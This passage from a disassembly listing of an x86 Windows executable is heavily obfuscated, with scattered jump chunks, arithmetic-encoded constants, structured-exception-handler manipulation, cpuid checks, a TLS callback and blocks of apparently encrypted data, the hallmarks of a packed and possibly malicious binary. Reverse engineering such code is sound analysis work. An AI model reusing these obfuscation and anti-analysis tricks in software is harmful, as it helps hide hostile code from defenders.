sub_4267F8 loc_42EA0A: ; CODE XREF: sub_4267F8-2F36j jmp loc_42C3FD ; END OF FUNCTION CHUNK FOR sub_4267F8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_224. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4266D1 loc_42EA10: ; CODE XREF: sub_4266D1+7j jmp sub_42CA29 ; END OF FUNCTION CHUNK FOR sub_4266D1 ; =============== S U B R O U T I N E ======================================= sub_42EA15 proc near ; CODE XREF: sub_4253F4:loc_4274F4p ; sub_42D056:loc_42D419p var_C = dword ptr -0Ch ; FUNCTION CHUNK AT 00427148 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428AEF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428C68 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042DFE7 SIZE 00000014 BYTES push large dword ptr fs:0 mov large fs:0, esp jmp loc_428AEF sub_42EA15 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D730 loc_42EA28: ; CODE XREF: sub_42D730:loc_4247F9j pop ebp push 386E1C24h pop eax add eax, 0C7D4552Ch jmp loc_42316C ; END OF FUNCTION CHUNK FOR sub_42D730 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_239. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424072 loc_42EA3B: ; CODE XREF: sub_424072:loc_427CB3j jnz loc_42679E retn ; END OF FUNCTION CHUNK FOR sub_424072 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E376 loc_42EA42: ; CODE XREF: sub_42E376+Aj jmp loc_427CC2 ; END OF FUNCTION CHUNK FOR sub_42E376 ; =============== S U B R O U T I N E ======================================= sub_42EA47 proc near ; CODE XREF: sub_42C6EB:loc_42C6F7p mov eax, large fs:0 sub_42EA47 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_425BED loc_42EA4E: ; CODE XREF: sub_425BED+4j ; sub_42E178:loc_427834j jnb loc_427840 cmp dword ptr [eax], 0FFFFFFFFh mov ebx, [eax+4] mov eax, [eax] jmp loc_42E17E ; END OF FUNCTION CHUNK FOR sub_425BED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42310C loc_42EA61: ; CODE XREF: sub_42310C:loc_4298C1j push ecx mov esp, ebp call sub_428A5F loc_42EA69: ; CODE XREF: sub_42A6D5-4133j ; DATA XREF: sub_42C677-443o pop dword ptr fs:0 xchg eax, [esp+0] pop eax push 1 lea eax, [ebp+var_806] call sub_427D89 ; END OF FUNCTION CHUNK FOR sub_42310C ; START OF FUNCTION CHUNK FOR sub_427B02 loc_42EA80: ; CODE XREF: sub_427B02+B6Fj ; DATA XREF: sub_42380D+7000o pop dword ptr fs:0 xchg eax, [esp+0] pop eax mov [esp-4+arg_0], eax retn ; END OF FUNCTION CHUNK FOR sub_427B02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428718 loc_42EA8E: ; CODE XREF: sub_428718+6j jmp loc_4274DD ; END OF FUNCTION CHUNK FOR sub_428718 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4235C7 loc_42EA93: ; CODE XREF: sub_4235C7+Cj push ecx mov esp, ebp xchg esi, [esp+4+var_4] mov ebp, esi pop esi push 11C42E4Ah pop eax or eax, 437AC239h jmp loc_42B391 ; END OF FUNCTION CHUNK FOR sub_4235C7 ; --------------------------------------------------------------------------- mov esi, 4770526Dh jmp loc_42537C ; =============== S U B R O U T I N E ======================================= sub_42EAB7 proc near ; CODE XREF: sub_42349B+9C30p ; _0182ofla:0042D56Aj ; FUNCTION CHUNK AT 00423BF9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426B77 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004285F9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004287CC SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00428C9D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004290F0 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00429836 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00429B8C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A9AC SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0042AA1F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C3BB SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042C743 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042D607 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042DFB6 SIZE 00000005 BYTES mov [esp+0], ecx pop ecx mov [ebp-0Ch], eax loc_42EABE: ; CODE XREF: sub_426B60+12j ; sub_42A3E4:loc_42A988j ... mov eax, [ebp-20h] movzx eax, byte ptr [eax] mov [ebp-1Ch], eax jb loc_429836 jmp loc_4290F0 sub_42EAB7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42EAD2: ; CODE XREF: _0182ofla:0042933Dj xor [ebp-4], eax cmp dword ptr [ebp-4], 0 setnz byte ptr [ebp-9] push edx push 9826C7D0h and edx, ecx jmp loc_42A088 ; --------------------------------------------------------------------------- loc_42EAEA: ; CODE XREF: _0182ofla:0042E678j jg loc_42E3A4 ; =============== S U B R O U T I N E ======================================= sub_42EAF0 proc near ; CODE XREF: sub_42D1C4+12p mov [esp+0], ebx pop ebx push 0B9860994h jmp loc_427A18 sub_42EAF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EAFE proc near ; DATA XREF: sub_4288BB+1o var_1 = byte ptr -1 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042ADFF SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042C6D6 SIZE 00000005 BYTES mov ebp, esp push ecx mov [ebp+var_1], 0 mov eax, cs xor al, al call sub_42AB9B loc_42EB0E: ; CODE XREF: sub_42E841+7j jmp loc_42ADFF sub_42EAFE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F46 loc_42EB13: ; CODE XREF: sub_428F46-34EFj jmp loc_428CB8 ; END OF FUNCTION CHUNK FOR sub_428F46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ABB7 loc_42EB18: ; CODE XREF: sub_42ABB7+2499j jz loc_42462B jmp loc_42B39E ; END OF FUNCTION CHUNK FOR sub_42ABB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AC9 loc_42EB23: ; CODE XREF: sub_428AC9+1237j jnz loc_42E153 jmp loc_42CF1F ; END OF FUNCTION CHUNK FOR sub_428AC9 ; --------------------------------------------------------------------------- loc_42EB2E: ; DATA XREF: sub_428729-69Co call sub_42D888 mov eax, [ebp-30h] push edx push 0B9A4BB15h jmp loc_42D0A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9A5 loc_42EB41: ; CODE XREF: sub_42E9A5+13j jz loc_427FE3 mov ecx, ebp jmp loc_4276F2 ; END OF FUNCTION CHUNK FOR sub_42E9A5 ; =============== S U B R O U T I N E ======================================= sub_42EB4E proc near ; CODE XREF: sub_42C8C0:loc_42D295p ; _0182ofla:0042D9DBj ; FUNCTION CHUNK AT 0042633D SIZE 00000005 BYTES xchg esi, [esp+0] pop esi mov eax, [ebp-8] pop ecx push offset sub_42A01E jmp loc_42633D sub_42EB4E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BB9 loc_42EB60: ; CODE XREF: sub_429BB9+Bj not eax mov [edx], esi jmp loc_4230A0 ; END OF FUNCTION CHUNK FOR sub_429BB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_42EB69: ; CODE XREF: sub_4253F4+30C3j cpuid and eax, 2FFFh add [esi], eax push edi push 0EAB130A3h jmp loc_42AC44 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; =============== S U B R O U T I N E ======================================= sub_42EB7D proc near ; CODE XREF: _0182ofla:00423E97j ; sub_4249DB+Ap mov [esp+0], ebx pop ebx mov eax, [eax] add eax, [ebp-4] add eax, 18h mov [ebp-10h], eax jmp loc_429DE8 sub_42EB7D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB00 loc_42EB91: ; CODE XREF: sub_42CB00:loc_42AB64j ; sub_42CB00+18C6j push eax push 226E4643h pop eax add eax, 0D9A9C221h rol eax, 0Fh push offset loc_427178 jmp loc_42D3BF ; END OF FUNCTION CHUNK FOR sub_42CB00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C998 loc_42EBAB: ; CODE XREF: sub_42C998+16j pop eax pop ecx pop ebx mov edx, offset loc_42EBBC xchg edx, [esp-10h+arg_C] retn ; END OF FUNCTION CHUNK FOR sub_42C998 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E689 loc_42EBB7: ; CODE XREF: sub_42E689-4635j jmp loc_429625 ; END OF FUNCTION CHUNK FOR sub_42E689 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426319 loc_42EBBC: ; CODE XREF: sub_426319-2CA6j ; DATA XREF: sub_42C998+2216o xchg ebx, [esp-10h+arg_C] jmp loc_42759E ; END OF FUNCTION CHUNK FOR sub_426319 ; --------------------------------------------------------------------------- loc_42EBC4: ; CODE XREF: _0182ofla:004253C2j jg loc_42797C cdq jmp sub_42CE86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42EBD0: ; CODE XREF: sub_42E585:loc_427EAAj ; sub_42798F:loc_42D6ECj lea eax, [ebp-25Ch] cmp dword ptr [eax], 47424454h jnz loc_4236F0 jmp loc_42595F ; --------------------------------------------------------------------------- loc_42EBE7: ; CODE XREF: sub_42798F:loc_42564Ej cmp dword ptr [ebp-4], 7 jmp loc_42AEED ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427239 loc_42EBF0: ; CODE XREF: sub_427239+39F4j add ecx, 5AB75EE3h xchg ecx, [esp+0] jmp sub_4278DB ; END OF FUNCTION CHUNK FOR sub_427239 ; --------------------------------------------------------------------------- loc_42EBFE: ; DATA XREF: sub_426455:loc_427491o add eax, 0C9C49382h xchg eax, [esp] push 20BBCAECh mov eax, offset sub_42EC1A xchg eax, [esp] retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423249 loc_42EC15: ; CODE XREF: sub_423249+9j jmp loc_42C4DD ; END OF FUNCTION CHUNK FOR sub_423249 ; =============== S U B R O U T I N E ======================================= sub_42EC1A proc near ; DATA XREF: _0182ofla:0042EC0Co ; FUNCTION CHUNK AT 004297D9 SIZE 00000002 BYTES sub eax, 6DBC2AAAh xor eax, 3968FB62h jmp loc_4297D9 sub_42EC1A endp ; --------------------------------------------------------------------------- locret_42EC2B: ; CODE XREF: _0182ofla:004294DAj retn ; --------------------------------------------------------------------------- loc_42EC2C: ; CODE XREF: _0182ofla:0042D9E3j jmp loc_428363 ; --------------------------------------------------------------------------- push 2E8F8FCAh pop edx or edx, 0B6A7E731h add edx, 38DDADC2h jmp loc_42CC9A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42537E loc_42EC48: ; CODE XREF: sub_42537E+1F4Ej jnp loc_4249AD loc_42EC4E: ; CODE XREF: sub_42537E:loc_42D6F7j call sub_428CE6 ; END OF FUNCTION CHUNK FOR sub_42537E ; START OF FUNCTION CHUNK FOR sub_423127 loc_42EC53: ; CODE XREF: sub_423127:loc_4278C7j xchg edi, [esp+0] call sub_42B5CC ; END OF FUNCTION CHUNK FOR sub_423127 ; START OF FUNCTION CHUNK FOR sub_425E13 loc_42EC5B: ; CODE XREF: sub_425E13+5j jmp loc_42C386 ; END OF FUNCTION CHUNK FOR sub_425E13 ; =============== S U B R O U T I N E ======================================= sub_42EC60 proc near ; DATA XREF: sub_42A01E+1o pop ebp retn sub_42EC60 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42EC62: ; CODE XREF: sub_42798F+4C3Cj jmp loc_42B264 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4292E1 loc_42EC67: ; CODE XREF: sub_4292E1-47FDj jmp nullsub_235 ; END OF FUNCTION CHUNK FOR sub_4292E1 ; --------------------------------------------------------------------------- loc_42EC6C: ; CODE XREF: _0182ofla:0042598Aj push offset loc_42D464 jmp locret_4278EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427CDE loc_42EC76: ; CODE XREF: sub_427CDE:loc_4272A6j jz loc_42D17A jmp loc_4237CC ; END OF FUNCTION CHUNK FOR sub_427CDE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_221. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42EC82: ; CODE XREF: _0182ofla:00429BD4j jmp loc_4283D7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_15. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_42EC88: ; CODE XREF: sub_42D056-288Bj jmp loc_42A574 ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42EC8D: ; CODE XREF: sub_42798F-2E24j jmp loc_429ABB ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- loc_42EC92: ; CODE XREF: _0182ofla:0042922Fj push eax push 63FE0A09h pop eax and eax, 0BC853675h jmp loc_42D0BD ; --------------------------------------------------------------------------- loc_42ECA4: ; DATA XREF: sub_42945B-2D94o mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240FC loc_42ECA8: ; CODE XREF: sub_4240FC+8j jmp loc_423A30 ; END OF FUNCTION CHUNK FOR sub_4240FC ; =============== S U B R O U T I N E ======================================= sub_42ECAD proc near ; CODE XREF: sub_428EB9-4DDBp ; sub_42912B+7p ... ; FUNCTION CHUNK AT 00427B95 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042991C SIZE 0000000A BYTES jz sub_4258F5 push ebp mov ebp, esp call sub_429A64 loc_42ECBB: ; CODE XREF: sub_42CA48+Fj jmp loc_42991C sub_42ECAD endp ; --------------------------------------------------------------------------- loc_42ECC0: ; CODE XREF: _0182ofla:0042AFFAj jmp loc_428DB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_42ECC5: ; CODE XREF: sub_42D056-33FEj jz loc_42A7AE jmp loc_4236BB ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B860 loc_42ECD0: ; CODE XREF: sub_42B860+10j pushf ; END OF FUNCTION CHUNK FOR sub_42B860 ; START OF FUNCTION CHUNK FOR sub_428A39 loc_42ECD1: ; CODE XREF: sub_428A39-CDFj mov [esp+0], eax call dword ptr [ebp-4] push offset sub_428265 jmp loc_426A8D ; END OF FUNCTION CHUNK FOR sub_428A39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427259 loc_42ECE1: ; CODE XREF: sub_427259:loc_42C6A0j xchg eax, [esp+0] jmp loc_42350B ; END OF FUNCTION CHUNK FOR sub_427259 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR TlsCallback_0 loc_42ECE9: ; CODE XREF: TlsCallback_0:loc_42B3D2j test esi, eax jmp loc_424AF8 ; END OF FUNCTION CHUNK FOR TlsCallback_0 ; --------------------------------------------------------------------------- loc_42ECF0: ; CODE XREF: _0182ofla:0042E820j mov [edx], eax ; =============== S U B R O U T I N E ======================================= sub_42ECF2 proc near ; CODE XREF: sub_42D056:loc_424F2Ap arg_0 = dword ptr 4 xchg ebx, [esp+0] pop ebx mov [esp-4+arg_0], eax retn sub_42ECF2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42ECFA proc near ; CODE XREF: sub_42628D+3j ; sub_42D056:loc_42DE1Dp ; FUNCTION CHUNK AT 0042E2FF SIZE 00000005 BYTES call sub_424533 loc_42ECFF: ; CODE XREF: sub_423A2A+357Aj jmp loc_42E2FF sub_42ECFA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C906 loc_42ED04: ; CODE XREF: sub_42C906:loc_42B3A3j xchg ebp, [ebx] jmp loc_427E6A ; END OF FUNCTION CHUNK FOR sub_42C906 ; --------------------------------------------------------------------------- mov edx, 63180CAFh call sub_42A041 loc_42ED15: ; CODE XREF: _0182ofla:0042C505j jmp sub_42D71D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42461C loc_42ED1A: ; CODE XREF: sub_42461C+5C9j pop esi mov eax, ds:dword_42D210 or eax, eax jnz loc_426D53 jmp loc_42B4F4 ; END OF FUNCTION CHUNK FOR sub_42461C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D833 loc_42ED2E: ; CODE XREF: sub_42D833-64F5j jz loc_42D8D0 jmp loc_428355 ; END OF FUNCTION CHUNK FOR sub_42D833 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AC9 loc_42ED39: ; CODE XREF: sub_428AC9:loc_42E563j add ebx, ebp add ebx, 0EC8D8B8Dh mov [ebx], eax pop ebx jmp loc_42A45B ; END OF FUNCTION CHUNK FOR sub_428AC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425629 loc_42ED49: ; CODE XREF: sub_425629+6F81j test eax, 9D820CC3h jmp loc_42351A ; END OF FUNCTION CHUNK FOR sub_425629 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427445 loc_42ED54: ; CODE XREF: sub_427445:loc_427536j add eax, 226281D3h loc_42ED5A: ; CODE XREF: sub_42798F:loc_424A02j mov eax, [eax] or eax, eax jnz loc_42C131 call sub_428D17 mov edx, 0DD5E106Fh jmp loc_425569 ; END OF FUNCTION CHUNK FOR sub_427445 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BF8 loc_42ED73: ; CODE XREF: sub_425BF8:loc_42AE31j or eax, eax jz loc_42D4BE call sub_42E6FD loc_42ED80: ; CODE XREF: _0182ofla:loc_423549j ; _0182ofla:004247C1j lea eax, [ebp-26Fh] cmp dword ptr [eax], 47424454h jz loc_42595F jmp loc_42564E ; --------------------------------------------------------------------------- loc_42ED97: ; CODE XREF: sub_425BF8:loc_42481Cj cmp dword ptr [ebp-4], 6 jnz loc_42564E jmp loc_429313 ; END OF FUNCTION CHUNK FOR sub_425BF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428EB9 loc_42EDA6: ; CODE XREF: sub_428EB9+4A77j mov edx, [ebp+8] mov [edx-18h], eax inc dword ptr [ebp-4] ; END OF FUNCTION CHUNK FOR sub_428EB9 ; START OF FUNCTION CHUNK FOR sub_423704 loc_42EDAF: ; CODE XREF: sub_423704:loc_427F2Dj mov eax, [ebp+8] mov eax, [eax-18h] and eax, 7 mov [ebp-0Ch], eax cmp dword ptr [ebp-10h], 0 jmp loc_425A18 ; END OF FUNCTION CHUNK FOR sub_423704 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AAF8 loc_42EDC4: ; CODE XREF: sub_42AAF8:loc_425F72j ; sub_429C68+4801j adc esi, 0E81E38CDh jmp loc_42B7CB ; END OF FUNCTION CHUNK FOR sub_42AAF8 ; =============== S U B R O U T I N E ======================================= sub_42EDCF proc near ; CODE XREF: _0182ofla:00423E0Bp ; _0182ofla:00428168j mov [esp+0], edi pop edi mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz loc_426551 lea eax, [ebp-125h] push eax call sub_426561 jmp loc_428423 sub_42EDCF endp ; sp-analysis failed ; --------------------------------------------------------------------------- add ebx, 0E3FBFF15h jmp loc_42C377 ; --------------------------------------------------------------------------- TlsDirectory dd 0 TlsEnd_ptr dd 0 TlsIndex_ptr dd offset TlsIndex TlsCallbacks_ptr dd offset TlsCallbacks TlsSizeOfZeroFill dd 0 TlsCharacteristics dd 0 TlsIndex dd 0 ; DATA XREF: _0182ofla:TlsIndex_ptro TlsCallbacks dd offset TlsCallback_0 ; DATA XREF: _0182ofla:TlsCallbacks_ptro dd 0 dd 1F294A43h, 2A5EB3B7h, 55B52374h, 0D58AACA3h, 0B16E31D9h dd 0F5F684D2h, 892F746Ch, 8CCEAC23h, 0DFC21AEh, 1799C0FDh dd 82AF5362h, 215F0F31h, 0D3D3757Ah, 5698CF41h, 660E1B24h dd 86C71279h, 0E09B0570h, 4AE4BA45h, 0BA73C5F4h, 0E2515F8Fh dd 50DB9B65h, 0C59BDE9Ch, 26191730h, 21940EC3h, 829DF271h dd 127C3EEh, 0F87242EFh, 0CE214730h, 69B9DD84h, 56CE9F11h dd 8F96C674h, 0A0246593h, 712E94h, 64FF890Fh, 561129EFh dd 46DDB44Bh, 8DE9CE86h, 9E3C3B57h, 7769FD5h, 2AE4D4D6h dd 7FD68FEEh, 0A606CB06h, 0E84CE699h, 73814F57h, 169D5695h dd 5169FF6Fh, 0D9996174h, 91FA6AACh, 0F4EC508Ah, 0D70A48C9h dd 35392120h, 0A1D15A7Ch, 0D8347AF5h, 0F3748742h, 6A68D3BFh dd 0F4047402h, 0D3BF69Fh, 200BC9D8h, 4C8E8521h, 3CE9FA92h dd 6085F761h, 9DE5DD5Eh, 28671F67h, 0A032485Ah, 28581DA6h dd 0CF47E5D4h, 5996D9AAh, 0C485C090h, 0B2CEEC72h, 0DB375CBAh dd 0E872DBC7h, 0EA895C33h, 0B61DBB76h, 0C52B38F0h, 4A7663B7h dd 402BF385h, 0AC7513DEh, 0DECF24C5h, 0B23EC20Bh, 0F07718CCh dd 6F681999h, 0C0F439ABh, 0AF82A043h, 3C03F459h, 0E310339Dh dd 2E7F45E9h, 0D08BED0Fh, 0E7005DCh, 41FC725Fh, 0F3008083h dd 4AF03487h, 0B013EBE6h, 2EE91F77h, 4369FFDBh, 9F8FEE57h dd 0B7BC0905h, 81BC3845h, 0BDEE58E6h, 0BBF78E87h, 0D37BE838h dd 5CDC4A29h, 0E2310B94h, 0D7EBAF45h, 2B3244A7h, 478E9B2Ch dd 0CA5DF809h, 37171969h, 346F5BEAh, 635370F0h, 0C9CD9FF5h dd 65C77EA6h, 539170C7h, 0DC26D3Dh, 777FFD6Ah, 9C5EBA91h dd 0EC966643h, 0BA75C349h, 0E48FACE5h, 90192D5Eh, 0CF57D3A0h _0182ofla ends ; Section 6. (virtual address 0002F000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 0002F000 ; Flags 40000040: Data Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read s7b_1gp8 segment para public 'DATA' use32 assume cs:s7b_1gp8 ;org 42F000h dd 23000h, 60h, 30B93058h, 31CB3102h, 32D532B1h, 32FE32E7h dd 3401330Ch, 34583438h, 34FD34E1h, 35A1356Ah, 35F835BEh dd 3667362Eh, 372C371Dh, 38AD37C3h, 39473904h, 396D3956h dd 39A9398Eh, 3A1439D1h, 3BED3A22h, 3CD03CA1h, 3E383D89h dd 3E8A3E41h, 3F243EE0h, 3F9C3F7Ah, 24000h, 80h, 3038300Ah dd 30C2309Eh, 317B30F0h, 31E831B4h, 3269322Ah, 335032BBh dd 33F83365h, 3431340Dh, 34833474h, 354D34CEh, 359F3572h dd 35C135A9h, 365135F0h, 37A9365Eh, 380C37CEh, 385F3823h dd 38FA38E5h, 39C53997h, 3A4539F5h, 3AE03ACAh, 3B063AEFh dd 3B5F3B1Ch, 3BC33BABh, 3CEE3CDAh, 3D813D1Dh, 3DE63DA4h dd 3E9F3E84h, 3F1C3EA9h, 3F943F80h, 3FE73FCCh, 25000h dd 6Ch, 303F3035h, 30DB30A5h, 313F312Dh, 31B13183h, 31E631CFh dd 32303206h, 3244323Eh, 32CB32B5h, 336D330Ch, 3472342Bh dd 3490347Ch, 350834B9h, 35C53591h, 360135E1h, 3645360Eh dd 3893375Fh, 38C1389Dh, 3AD93A9Bh, 3B4F3AF7h, 3B9E3B76h dd 3BCA3BC5h, 3C5E3C28h, 3E013D9Ch, 3F1F3E3Bh, 3FBD3F42h dd 26000h, 78h, 304F3039h, 30AB3089h, 321D31A7h, 32AC329Bh dd 32EB32D4h, 33083303h, 33663338h, 33FA33E7h, 34BA3439h dd 350534D4h, 35453540h, 35AD3568h, 361135CEh, 370436C8h dd 38433803h, 38A13848h, 39873958h, 39B3399Bh, 39D039C2h dd 3AB43A34h, 3C1D3BD1h, 3D033C71h, 3D793D2Bh, 3DFB3DC7h dd 3EF93EDDh, 3F593F3Bh, 3F993F8Dh, 3FE7h, 27000h, 7Ch dd 30B83024h, 317A3113h, 322731B3h, 32923282h, 33323323h dd 3401337Fh, 34603406h, 34923470h, 34FA34B7h, 3594351Fh dd 36743648h, 370B36C1h, 37593727h, 378E3772h, 380437A4h dd 389F3844h, 38CD38B5h, 39C839A1h, 3C5C3ADCh, 3CB93C89h dd 3CE93CC3h, 3D333D1Ch, 3D9B3D6Eh, 3E273DA0h, 3E783E39h dd 3EBF3E87h, 3F253EC6h, 3FA13F8Fh, 3FF83FE8h, 28000h dd 70h, 30303002h, 307B3070h, 30BC308Eh, 30F630C1h, 319F3123h dd 332432EEh, 33493337h, 33723364h, 344E33FAh, 355F3502h dd 36153584h, 38BD38A0h, 391938CEh, 3A273A0Eh, 3A783A66h dd 3AE73AACh, 3B353B1Ah, 3C0F3B9Ah, 3D043CF6h, 3D2F3D24h dd 3DE03D4Ch, 3E4D3E0Ah, 3E583E53h, 3F163EB0h, 3F7F3F73h dd 3FC2h, 29000h, 6Ch, 30F430B6h, 31F731E5h, 32633215h dd 32803271h, 3299328Ah, 32C532A7h, 335D32FFh, 341733D4h dd 34C1349Bh, 352A34D6h, 35593542h, 35F3355Fh, 369D3611h dd 373636B1h, 37553745h, 383F3764h, 388E3871h, 391D389Eh dd 3B343931h, 3B843B6Bh, 3C033BAAh, 3C8A3C4Ch, 3E1E3D8Fh dd 3F913EB0h, 3FF1h, 2A000h, 80h, 30203013h, 30663061h dd 30EC3094h, 315630FBh, 3247321Bh, 3313329Ch, 3339331Dh dd 340033F3h, 3523342Ah, 356B3557h, 360735A5h, 36F5369Ah dd 374B3745h, 37A0378Fh, 37D137BBh, 380F37E2h, 3853382Fh dd 38AF388Eh, 3A593A0Eh, 3AD73A71h, 3B033AE6h, 3C703C10h dd 3CBF3CB1h, 3CEE3CD9h, 3D293D16h, 3E073D65h, 3E9F3E1Eh dd 3EB33EA5h, 3F7A3EE3h, 3FE93FC3h, 2B000h, 54h, 304F304Ah dd 3092307Eh, 314F310Ch, 31723164h, 3247322Fh, 32843254h dd 330D32D0h, 33423326h, 3393337Ch, 340F33B0h, 34A1344Bh dd 34C034B6h, 353534CCh, 36293612h, 365B3642h, 372F3710h dd 37713757h, 37EB37D9h, 389A37F0h, 2C000h, 68h, 317D3178h dd 3236321Bh, 326F3251h, 32A53290h, 32B632B0h, 333232DDh dd 34BA335Fh, 34FE34C6h, 36D1364Dh, 3875377Dh, 396E38B7h dd 3A6C3A5Dh, 3AC03AA6h, 3AF73AD3h, 3B0E3B08h, 3BA13B9Ch dd 3BCC3BB2h, 3CB43C90h, 3CD63CC3h, 3CFB3CE2h, 3DD43D59h dd 3E213E06h, 3EBC3E8Ch, 3FC9h, 2D000h, 78h, 30943083h dd 30EC30DCh, 31B330F9h, 33983349h, 34C33400h, 353F34F9h dd 35883578h, 360E3595h, 3771362Ah, 37E4377Ch, 389937F9h dd 395638E5h, 3A2139BFh, 3AFA3A58h, 3BC43BBFh, 3BFC3BE0h dd 3C353C2Eh, 3C683C50h, 3CB33C87h, 3D1D3CE6h, 3DC63D90h dd 3E243DF5h, 3E4D3E31h, 3F343EDBh, 3F583F43h, 3FA33F93h dd 3FEF3FD7h, 3FFCh, 2E000h, 6Ch, 30F93006h, 314A3140h dd 320131B1h, 323F3206h, 32AA3289h, 330F32B9h, 33533342h dd 338C3387h, 3481346Fh, 34E334B0h, 35BD34EBh, 370535DFh dd 37423710h, 37CC3793h, 380E37F1h, 38953876h, 395038B4h dd 3A313A02h, 3BA23B57h, 3BF23BAFh, 3C6D3C0Dh, 3D1D3CD8h dd 3E043D56h, 3E183E08h, 2B2h dup(0) s7b_1gp8 ends ; Section 7. (virtual address 00030000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00030000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 430000h dd 80h dup(0) align 1000h _idata2 ends end start